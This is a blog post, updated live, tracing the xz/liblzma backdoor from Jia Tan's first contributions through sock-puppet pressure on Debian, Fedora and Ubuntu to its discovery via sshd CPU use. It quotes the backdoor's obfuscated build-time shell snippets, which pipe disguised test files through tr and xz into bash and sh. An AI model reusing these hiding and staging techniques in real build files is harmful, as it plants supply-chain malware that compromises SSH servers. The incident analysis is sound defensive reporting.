[1]state
         [2]unstable

  [3]in
         [4]blog

  date
         3/29/2024
    __________________________________________________________________

  [5]

  😖 Unstable

  Updating at the speed of light, blink once and a word could be gone!
  These nodes are eratic, unstable, dangerous, but that's why they are
  fun.

  Please note: This is being updated in real time. The intent is to make
  sense of lots of simultaneous discoveries regarding this backdoor. last
  updated: 7:18 EST

2021

  JiaT75 (Jia Tan) creates their GitHub account.

  The first commits they make are not to xz, but they are deeply
  suspicious. Specifically, they open a PR in libarchive: [6]Added error
  text to warning when untaring with bsdtar. This commit does a little
  more than it says. It replaces safe_fprint with an unsafe variant,
  potentially introducing another vulnerability. The code was merged
  without any discussion, and [DEL: [7]lives on to this day :DEL]
  ([8]patched). libarchive should also be considered compromised until
  proven otherwise.

2022

  In 2022, pressure to add another maintainer to XZ is [9]launched.

  Three days after this email, JiaT75 makes their first commit to xz:
  [10]Tests: Created tests for hardware functions.. Since this commit,
  they become a regular contributor to xz (they are currently the second
  most active). It’s unclear exactly when they became trusted in this
  repository.

  [ad501ceca43dd473.png]

  [11]Glyph ^@[email protected]

  [12]@eb I really hope that this causes an industry-wide reckoning with
  the common practice of letting your entire goddamn product rest on the
  shoulders of one overworked person having a slow mental health crisis
  without financially or operationally supporting them whatsoever. I want
  everyone who has an open source dependency to read this message
  [13]https://www.mail-archive.com/xz-devel@tukaani.org/msg00567.html

  ^Mar 29, 2024, 20:43 ^204 retoots

2023

  JiaT75 merges their first commit [14]on Jan 7 2023^[15]1, which gives
  us good indication into when they fully gain trust.

  In March, the primary contact email in Google’s oss-fuzz is [16]updated
  to be Jia’s, instead of Lasse Collin.

  Testing infrastructure that will be used in this exploit is committed.
  Despite Lasse Collin being attributed as the author for this, Jia Tan
  committed it, and it was originally written by Hans Jansen in June:
    * Commit: [17]liblzma: Add ifunc implementation to crc64_fast.c
    * PR: [18]Replaced crc64_fast constructor with ifunc by hansjans162

  Hans Jansen’s account was seemingly made specifically to create this
  pull request. There is very little activity before and after. They will
  later push for the compromised version of XZ to be included in Debian.

  In July, [19]a PR was opened in oss-fuzz to disable ifunc for fuzzing
  builds, due to issues introduced by the changes above. This appears to
  be deliberate to mask the malicious changes that will be introduced
  soon.

2024

  A pull request for Google’s [20]oss-fuzz is opened that changes the URL
  for the project from [21]tukaani.org/xz/ to
  [22]xz.tukaani.org/xz-utils/. [23]tukaani.org is hosted at 5.44.245.25
  in Finland, at [24]this hosting company. The xz subdomain, meanwhile,
  points to GitHub pages. This furthers the amount of control Jia has
  over the project.

  A commit containing the final steps required to execute this backdoor
  is added to the repository:
    * [25]Tests: Add a few test files
    * [26]Tests: Update two test files

The discovery

  An email is sent to the oss-security mailing list: [27]backdoor in
  upstream xz/liblzma leading to ssh server compromise, announcing this
  discovery, and doing it’s best to explain the exploit chain.

  [6a9a410580be97af.jpg]

  I was doing some micro-benchmarking at the time, needed to quiesce the
  system to reduce noise. Saw sshd processes were using a surprising
  amount of CPU, despite immediately failing because of wrong usernames
  etc. Profiled sshd, showing lots of cpu time in liblzma, with perf
  unable to attribute it to a symbol. Got suspicious. Recalled that I had
  seen an odd valgrind complaint in automated testing of postgres, a few
  weeks earlier, after package updates.

  Really required a lot of coincidences.

  ^Mar 29, 2024, 18:32 ^271 retoots

  A [28]gist has been published with a very good high level technical
  overview and a “what you need to know”

  I understand this chain even less than the original author, but here is
  me half reciting, half making sense of what’s happening:
  This isn't good yet, I'm still figuring it out

  Code is [29]added to the upstream tarballs that injects an obfuscated
  script from the files committed above to be “executed at the end of
  configure”. This code, in turn, “modifies
  $builddir/src/liblzma/Makefile to contain”
am__test = bad-3-corrupt_lzma2.xz
..
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
..
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

  (you’ll notice this was the file added above) “which ends up as” (what
  ends up as?)
sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "     \-_" "
_\-" | xz -d | /bin/bash >/dev/null 2>&1;

  The sed reportedly transforms into

eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/n
ull) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c
+1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +20
48 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null)
&& head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +102
4 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && he
ad -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/d
ev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (hea
d -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c
+724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +
31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw -
-lzma1 -dc|/bin/sh

  You’ll notice this script is piping one of these files attached in the
  above commits into a series of very very obfuscated head calls. And
  after deobfuscation of this script, it leads to a sh file attached in
  the email:

  [30]injected.txt

  There are a number of conditions identified that are required for the
  process to continue:
    * Building with gcc and the gnu linker
    * only x86-64 linux
    * Running as part of a debian or RPM package build

  The final binary reportedly is used in some way to bypass sshd
  authentication checks.

A sudden push for inclusion

  A request for the vulnerable version to be included in Debian is opened
  by Hans:
    * [31]#1067708 - xz-utils: New upstream version available

  A number of other, suspicious, anonymous name+number accounts with
  little former activity also push for its inclusion, including
  misoeater91 and krygorin4545. krygorin4545’s PGP key was made 2 days
  prior to today.

    Also seeing this bug. Extra valgrind output causes some failed tests
    for me. Looks like the new version will resolve it. Would like this
    new version so I can continue work.

    I noticed this last week and almost made a valgrind bug. Glad to see
    it being fixed.
    Thanks Hans!

  The Valgrind bugs mentioned were introduced by this malicious
  injection, as noted in the email to OSS-Security:

    Subsequently the injected code (more about that below) caused
    valgrind errors and crashes in some configurations, due the stack
    layout differing from what the backdoor was expecting. These issues
    were attempted to be worked around in 5.6.1:

  A pull request (the second pull request ever for this library) by an
  [32]apparent 1password employee is opened asking to upgrade the library
  to the vulnerable version:

  [33]feat: update vendored xz to 5.6.1 by jaredallard

  A fedora contributor [34]states that Jia was pushing for its inclusion
  in Fedora as it contains “great new features”

  Jia Tan also [35]attempted to get it into Ubuntu days before the beta
  freeze.

  As of 9:00 PM UTC, GitHub has suspended JiaT75’s account. Thanks?
    __________________________________________________________________

👟 Footnotes

   1. Thanks @[email protected] [36]↩︎

References

  1. https://boehs.org/states/
  2. https://boehs.org/state/unstable
  3. https://boehs.org/locations/
  4. https://boehs.org/in/blog
  5. https://boehs.org/state/unstable
  6. https://github.com/libarchive/libarchive/pull/1609
  7. https://github.com/libarchive/libarchive/blob/master/tar/read.c#L374-L375
  8. https://github.com/libarchive/libarchive/pull/2101
  9. https://www.mail-archive.com/xz-devel@tukaani.org/msg00566.html
 10. https://github.com/tukaani-project/xz/commit/aa75c5563a760aea3aa23d997d519e702e82726b
 11. https://mastodon.social/@glyph/112180922900094371
 12. https://social.coop/@eb
 13. https://www.mail-archive.com/xz-devel@tukaani.org/msg00567.html
 14. https://github.com/tukaani-project/xz/pull/7
 15. file:///tmp/lynxXXXXdlHr0z/L710323-9140TMP.html#fn1
 16. https://github.com/JiaT75/oss-fuzz/commit/6403e93344476972e908ce17e8244f5c2b957dfd
 17. https://github.com/tukaani-project/xz/commit/ee44863ae88e377a5df10db007ba9bfadde3d314
 18. https://github.com/tukaani-project/xz/pull/53
 19. https://github.com/google/oss-fuzz/pull/10667
 20. https://github.com/google/oss-fuzz/pull/11587
 21. http://tukaani.org/xz/
 22. http://xz.tukaani.org/xz-utils/
 23. http://tukaani.org/
 24. https://www.zoner.fi/
 25. https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
 26. https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89
 27. https://www.openwall.com/lists/oss-security/2024/03/29/4
 28. https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
 29. https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63
 30. https://www.openwall.com/lists/oss-security/2024/03/29/4/1
 31. https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1067708
 32. https://github.com/jaredallard
 33. https://github.com/jamespfennell/xz/pull/2
 34. https://news.ycombinator.com/item?id=39866275
 35. https://bugs.launchpad.net/ubuntu/+source/xz-utils/+bug/2059417
 36. file:///tmp/lynxXXXXdlHr0z/L710323-9140TMP.html#fnref1

You are viewing proxied material from 1436.ninja. The copyright of proxied material belongs to its original authors. Any comments or complaints in relation to proxied material should be directed to the original authors of the content concerned. Please see the disclaimer for more details.